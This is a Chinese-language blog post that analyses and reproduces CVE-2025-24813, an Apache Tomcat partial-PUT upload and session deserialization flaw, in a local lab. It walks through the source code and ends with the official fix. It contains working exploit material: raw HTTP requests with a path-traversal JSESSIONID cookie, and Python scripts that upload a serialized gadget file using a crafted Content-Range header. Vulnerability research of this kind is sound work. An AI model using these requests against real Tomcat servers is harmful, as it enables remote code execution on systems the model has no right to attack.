Apache Tomcat partial PUT文件上传反序列化漏洞
今年年初三月份爆出来的CVE-2025-24813,Apache Tomcat partial PUT文件上传反序列化漏洞。算是一个结合了tomcat历史cve的一个漏洞,这里特此来复现一下。
漏洞版本:
- 11.0.0-M1 <= Apache Tomcat < 11.0.3
- 10.1.0-M1 <= Apache Tomcat < 10.1.35
- 9.0.0.M1 <= Apache Tomcat < 9.0.99
漏洞利用条件:
算是融合tomcat的CVE-2017-12615和CVE-2020-9484然后想出来的一个新的利用方式。故利用条件都是差不多的,目标环境需要满足如下几个需求:
- readOnly为false(也就是开启put、delete请求方法来操作文件,默认为true)
- 服务器PersistenceManager配置中使用了FileStore
- 目标环境存在可供反序列化的类。
关于CVE-2017-12615和CVE-2020-9484的分析,可以参考我之前的文章:
《Tomcat PUT文件上传和Session 反序列化代码执行漏洞分析》
学习了这两个漏洞后,可以很容易知道,在配置不当下,是否可以用put文件上传来解决session反序列化需要的目标环境需要存在文件的难点呢?如下从原理到复现开始一步一步分析,tomcat环境为9.0.35,jdk为8u71。
环境搭建及攻击流程分析
在idea上搭建tomcat环境,然后修改/conf/web.xml文件内容:

就是在原配置上打开了put文件上传的权限。然后修改conf/context.xml文件内容:

添加如图部分即可。其实就是将两个CVE的不当配置都结合起来,然后结合起来打。
put文件上传分析
首先需要搞懂为什么我们要put文件上传,上传了的文件是干什么,结合两个cve来说,可以简单地认为可以上传一个文件到web目录下,并且将文件后缀设置为session,然后再调用FileStore来目录穿越加载对应的文件,故需要tomcat是在存在session反序列化漏洞的版本中,这里尝试使用tomcat9.0.20并且对原先的put文件上传的链路进行分析:
从理论上来说,如下打即可:
put文件上传:
1
2
3
4
5
6
7
8
9
10
11
12
|
PUT /tomcat7_0_79_Web_exploded/ser.session HTTP/1.1
Host: 192.168.153.178:8087
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Length: 67
{{反序列化文件内容}}
|
session反序列化加载:
1
2
3
4
5
6
7
8
9
10
|
GET /tomcat9_0_35_Web_exploded/ HTTP/1.1
Host: 192.168.153.178:8083
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: JSESSIONID=../../../../../../../../../../Desktop/java_learn/javaweb project/tomcat9.0.20/out/artifacts/tomcat9_0_20_Web_exploded/ser
Upgrade-Insecure-Requests: 1
Priority: u=0, i
|
这里目录穿越的个数说明一下,在前面的分析中,我们可以知道session文件加载的目录与put文件上传的目录分别为:
1
2
3
4
|
/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/1e112f7e-49f1-4f6d-8404-dc4563d75f0c/work/Catalina/localhost/tomcat9_0_20_Web_exploded/
/Users/xxxxxxxx/Desktop/java_learn/javaweb project/tomcat9.0.20/out/artifacts/tomcat9_0_20_Web_exploded/ser
|
故这里穿了十个到xxxxxxxx目录下,然后再进行加载,但是实际上在tomcat中应该不用穿这么多层(如果使用/bin/start.up
开启的tomcat),只用如下穿即可:
1
|
../../../../webapps/tomcat9_0_20_Web_exploded/ser
|
因为从tomcat源码来看,webapps目录和work目录是同目录的,我这里使用的idea配合tomcat,有差别,故正常环境应该是像上述那样穿(理论上,没搭环境去试)
最后尝试攻击如下:
使用python脚本来上传打cc5反序列化的文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import requests
url = "http://url/tomcat9_0_20_Web_exploded/ser.session"
local_file = "ser.session"
with open(local_file, "rb") as f:
file_data = f.read()
resp = requests.put(url, data=file_data, headers={
"Content-Type": "application/octet-stream"
})
print("状态码:", resp.status_code)
|
回显201成功创建,在web目录找到文件:

然后直接打加载session文件:

打不通,后面仔细看了一下,cookie中的javaweb project中有一个空格,导致不能正常获取到cookie中设置的JSESSIONID的值。唉😮💨,因此又搭建了一个项目来进行复现,还是先put上传文件,最后成功加载文件达到反序列攻击:

注意lib中的cc依赖需要存在。
由此成功实现了一次put文件上传+session加载文件到达反序列化攻击。
————————
最后来看一下tomcat高版本对put文件上传的修复,在写入文件前对路径进行了校验:

直接返回false导致不能继续写入,此时的调用栈为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
write:222, DirResourceSet (org.apache.catalina.webresources)
write:184, StandardRoot (org.apache.catalina.webresources)
doPut:590, DefaultServlet (org.apache.catalina.servlets)
service:663, HttpServlet (javax.servlet.http)
service:435, DefaultServlet (org.apache.catalina.servlets)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:200, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:490, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:678, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:836, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1839, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
|
————————————
那么更高版本的tomcat呢,该怎么打,限制了目录穿越,前面的攻击方法肯定就不能生效了,然而,在put文件上传的地方,又玩出了新花样,在tomcat9.0.35下进行分析,跟进DefaultServlet类的doPut()方法:

跟进parseContentRange()方法:

检测请求包中是否有Content-Range请求头,没有的话就返回Range实例:

也就会进入到前面预期的方法,将上传的文件放到web目录中,但是这里也可以通过控制请求头Content-Range的长度来实现文件上传(其实这也是tomcat专门被设计要实现的用于大文件分块上传功能点),继续看代码:

要求开启partial put,然后调用ContentRange.parse()方法解析参数并且只接受byte类型的,然后保存长度封存进range对象中,最后返回了这个range对象。回退出parseContentRange()方法,继续跟进:

会进入else语句,会调用executePartialPut()方法,这是一个比较关键的方法,实现了对文件的写入,关键代码如下:

这里new File()了一个文件路径,获取的是TEMPDIR指向的路径:

可以写一个jsp文件来获取一下:
1
2
3
4
5
6
7
8
|
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<body>
<%
out.println(request.getServletContext().getAttribute(ServletContext.TEMPDIR));
%>
</body>
</html>
|
访问拿到路径:
1
|
/Users/xxxxxxxx/Library/Caches/JetBrains/IntelliJIdea2024.3/tomcat/c95d0ef3-f2a9-4529-9363-81226b1de81c/work/Catalina/localhost/tomcat9_0_35_Web_exploded
|
这一看不就是持久化session存储文件的地方吗,并且其实跟进FileStore的load()方法,其调用的file()方法中的关键调用的directory()方法,其定义了文件存储的路径,跟进如下:

很明显了吧,这里的directory就是通过配置文件设置,不设置也没问题,其次也是通过servletContext.getAttribute(ServletContext.TEMPDIR)来获取的路径,这也是和前面一模一样的。
再回到DefaultServelt类的executePartialPut()方法,在获取到存储路径之后,对path进行了替换,将/
替换为.
,比如我通过设置uri为/ser/session,那么这里替换后就是.ser.session,正好也是符合.session文件。
再继续看,然后应该就是会将请求流中的数据写入到contentFile中了:

最后写入到文件中:

————————
由此链路清晰,通过控制Content-Range请求头,写入文件到持久化session存储文件的地方,然后直接加载即可,不需要使用../
来进行目录穿越。
攻击复现
还是反序列化打cc5,使用python脚本上传文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import requests
url = "http://192.168.153.178:8083/tomcat9_0_35_Web_exploded/ser/session"
local_file = "ser.session"
with open(local_file, "rb") as f:
file_data = f.read()
file_size = len(file_data)
# Content-Range: bytes=0-(size-1)/size
headers = {
"Content-Range": f"bytes=0-{file_size-1}/{file_size}",
"Content-Type": "application/octet-stream"
}
resp = requests.put(url, data=file_data, headers=headers)
print("状态码:", resp.status_code)
|
回显409状态码。
然后直接打加载即可:

成功调用反序列化。并且再次调试也是符合前面分析的过程的。
————————
一些需要注意的地方:
Conten-Range的基本格式为:
1
|
Content-Range: bytes <start>-<end>/<total>
|
但是这里需要注意在解析Content-Range的值要符合tomcat中定义的格式:

跟进parse()方法:

要求了格式,故需要使用如下的格式:
1
|
Content-Range: bytes=<start>-<end>/<length>
|
其次还是要注意目标环境是否有可供打反序列化的类。
总结
限制条件更多了,算是两个CVE的结合体,但是还是找到了不同的一条路。重点还是对代码调用的理解以及对代码块功能实现的分析。
如何修复?
当然还是开启readonly,这种配置完全没有必要开着吧。代码层面如何限制呢,在put文件上传时加一个不允许session后缀?抑或是在load()加载文件时不允许加载文件名以.
开头。看了一下官方的修复逻辑:
来到DefaultServlet类的executePartialPut()方法:

算是直接限制死了,这里直接不用你的path了,让你连文件名都摸不到,跟进File.createTempFile()方法(注意这里将suffix设置为了null):

直接限制文件后缀为.tmp
,别想用.session
后缀,然后还调用了TempDirectory.generateFile()来随机生成文件名:

似乎还在File.createTempFile()中调用checkWrite()方法进行了鉴权。
而FileStore类的load()方法似乎还没有什么变化。
这修复方式绝了,学到了,这样外部就不会知道文件名称以及无法控制文件后缀为.session。